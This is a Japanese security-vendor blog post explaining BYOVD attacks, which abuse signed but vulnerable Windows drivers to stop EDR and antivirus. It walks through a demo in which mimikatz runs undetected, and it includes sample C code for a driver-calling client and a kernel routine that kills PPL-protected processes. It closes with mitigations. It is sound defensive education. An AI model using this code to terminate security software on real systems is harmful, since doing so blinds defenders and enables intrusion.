NTT Security Japan

お問い合わせ

EDRを無効化するBYOVDについて

テクニカルブログ

EDRを無効化するBYOVDについて
EDRを無効化する攻撃の一種であるBYOVD (Bring Your Own Vulnerable Driver) についての解説記事です。

はじめに

プロフェッショナルサービス部の鈴木です。今回は BYOVD (Bring Your Own Vulnerable Driver) というテクニックについて紹介したいと思います。

EDRは強力な監視ツールですが、近年のサイバー攻撃では攻撃者がEDRを無効化していることが報告されています。直近の大きな事例ですと、アスクル株式会社のインシデントレポートに攻撃者がEDRを停止していたことが記載されています。https://pdf.irpocket.com/C0032/PDLX/O3bg/N4O3.pdf#page=3

今回紹介するBYOVDはEDRを無効化する攻撃の1種で、有名な攻撃グループもEDR無効化に使用しており、攻撃キャンペーンで使われたという報告も多数あります。(例: Qilin Ransomware and the Hidden Dangers of BYOVD)

弊社のRedTeamサービスでも、より実際の攻撃に近い演習を実施するため、BYOVDを取り入れています。

BYOVDの概要

BYOVD (Bring Your Own Vulnerable Driver) は攻撃者が管理者権限を取った状態で、脆弱性があってなおかつ有効な署名を持ったドライバを攻撃者が被害端末に持ち込み、ウイルス対策ソフトやEDRを無効化するという攻撃です。

Windowsにおいて、ドライバはOSと同じ世界(カーネル空間)で動作するソフトウェアで、カーネル空間で動作するソフトウェアは通常のアプリケーションと比べて、非常に強い権限を持ちます。

Windowsでは攻撃者がローカル管理者権限を取ったとしても仕様上はできない操作があり、EDRの無効化はその一つです。しかし、カーネル空間からであれば、こうした制限を回避してEDRを停止することが可能です。

BYOVDでは、攻撃者はカーネル空間から操作を行うために、脆弱性のある既存のドライバを被害端末に持ち込みます。(自前のドライバではなく既存のドライバを使うのは、Windowsではドライバを読み込ませるのにドライバの署名が必要なためです。) 攻撃者はドライバの脆弱性を突いて、攻撃者のやりたい操作 (EDRの無効化) をカーネル空間で実行します。

実例

EDRに対してBYOVDで無効化をされるとどうなるのか、簡単にお見せしたいと思います。

比較のため、まず何もしない状態で、確実に検知される行動をしてみます。MDEのインストールされたサーバでパスワード付きzipに入れたmimikatz.exeを展開してみます。

するとすぐにWindows Securityに検知されて、MDEのログにも高レベルのアラートが表示されます。これは期待した通りの動作だと思います。

次に、BYOVDによってWindows SecurityとMDEを無効化した状態にしてみます。

BYOVDを使ってWindows SecurityとMDEのプロセスを停止し続けるプログラムを実行します。Windows SecurityやMDEのプロセスは特別な保護をされているため(PPL)、通常のアプリケーションではこれらのプロセスを停止させることはできませんが、ドライバを使ってカーネル空間から停止処理をすることで、保護をバイパスしてプロセスを停止させることができます。実際にtasklistで確認するとMsMpEng.exe(Windows Securityプロセス)とMsSense.exe(MDEプロセス)がいなくなっていることが分かります。

この状態でもう一度パスワード付きzipに入れたmimikatz.exeを展開してみます。

すると、今度は何の警告も表示されずに展開に成功します。

実際にmimikatz.exeを実行することもできます。

MDEのログを見てみると、ドライバのロード以降のログがほぼまったく表示されていないことが分かります。

このように、攻撃者はBYOVDでEDRを無効化することで、本来検知されずに実行することが難しいソフトウェアを検知されずに実行することが可能になります。

少しだけ技術的な詳細

ドライバはユーザー空間からドライバのシンボリックリンクに対して、特定のAPIを呼び出すことで、ドライバの関数を呼び出すことができます。ドライバの関数はカーネル空間で実行されます。

使えるAPIにはCreateFile(ファイルを開く)、WriteFile(ファイルに書き込む)などの通常のファイル操作用のAPIや、DeviceIoControlというデバイスドライバ操作用のAPIがあります。

例えば、ドライバの機能を呼び出す側のコードは以下のようになっています。デバイスのファイル(リンク)を開いて、DeviceIoControlでドライバにデータを渡します。

#include <windows.h>
#include <stdio.h>


// ドライバ側で分岐に使う定数
#define IOCTL_TERMINATE_PROCESS \
    CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define DEVICE_PATH "\\\\.\\ExampleDev"

int main(int argc, char *argv[])
{
    if (argc < 2)
    {
        fprintf(stderr, "Usage: %s <PID>\n", argv[0]);
        return 1;
    }

    DWORD targetPid = (DWORD)atoi(argv[1]);

    // ハンドルを取得
    HANDLE hDevice = CreateFileA(
        DEVICE_PATH,
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL);

    if (hDevice == INVALID_HANDLE_VALUE)
    {
        printf("Failed to open device: 0x%x\n", GetLastError());
        return 1;
    }

    // DeviceIoControl でドライバにリクエストを送信
    // 入力内容はドライバの独自定義(今回はPID)
    DWORD bytesReturned = 0;
    BOOL success = DeviceIoControl(
        hDevice,
        IOCTL_TERMINATE_PROCESS,
        &targetPid,             // 入力バッファ(ドライバへ渡すデータ)
        sizeof(targetPid),      // 入力バッファサイズ
        NULL,                   // 出力バッファ
        0,                      // 出力バッファサイズ
        &bytesReturned,
        NULL);

    if (success)
    {
        printf("Request sent successfully for PID %d\n", targetPid);
    }
    else
    {
        printf("DeviceIoControl failed: 0x%x\n", GetLastError());
    }

    CloseHandle(hDevice);
    return 0;
}

ドライバ側で呼び出される関数はドライバのDriverEntry関数内で登録されます。下図に示したようなコードがDriverEntryのどこかにあって、APIに対応するドライバの関数を登録しています。

そして、ドライバの関数内では、ドライバのやりたい操作が正規のドライバ開発者によって実装されています。先ほどの実例で使用したようなカーネル空間からプロセスを停止させるドライバの関数の実装例としては以下のようになります。

NTSTATUS TerminateProcessByPid(HANDLE ProcessId)
{
    NTSTATUS Status;
    PEPROCESS Process = NULL;
    HANDLE ProcessHandle = NULL;

    Status = PsLookupProcessByProcessId(ProcessId, &Process);
    if (!NT_SUCCESS(Status))
        goto Cleanup;

    // EPROCESSポインタから直接カーネルハンドルを取得
    // AccessMode = KernelMode (0) により PPL のアクセスチェックを迂回
    Status = ObOpenObjectByPointer(
        Process,
        OBJ_KERNEL_HANDLE,
        NULL,
        PROCESS_ALL_ACCESS,
        NULL,
        KernelMode,
        &ProcessHandle
    );
    if (!NT_SUCCESS(Status))
        goto Cleanup;

    // ハンドルを使ってプロセスを終了
    Status = ZwTerminateProcess(ProcessHandle, STATUS_SUCCESS);

Cleanup:
    if (Process)
        ObDereferenceObject(Process);
    if (ProcessHandle)
        ZwClose(ProcessHandle);

    return Status;
}

このような機能は、バグというよりもはや仕様で、攻撃者にそのまま悪用されてしまいますが、残念ながらこうした実装になっているドライバは実在しています。 (もちろん、仕様上は安全でバグによって悪用されてしまうケースもあります。)

対策

BYOVDの対策として、例えば、ドライバのインストールには管理者権限が必要なので、通常の従業員のアカウントにはローカル管理者権限を与えないことで、攻撃を1段難しくすることができます。また、HVCI (HyperVisor Code Integrity) を有効化することで、インストールするドライバの要件を厳しくしたり、カーネル空間での操作を制限できます。

おわりに

今回は BYOVD (Bring Your Own Vulnerable Driver) というテクニックについて紹介しました。EDRは強力な監視ツールですが、記事で紹介したように攻撃者が無効化することも可能で、絶対ではありません。攻撃を防ぐにはEDRだけでなく、他の防御手法と組み合わせた多層的なセキュリティ対策をすることが重要です。

弊社のRedTeamサービスでは、こうした高度な攻撃者を想定したRedTeamサービスを提供しています。

関連記事 / おすすめ記事

Inquiry

お問い合わせ

お客様の業務課題に応じて、さまざまなソリューションの中から最適な組み合わせで、ご提案します。
お困りのことがございましたらお気軽にお問い合わせください。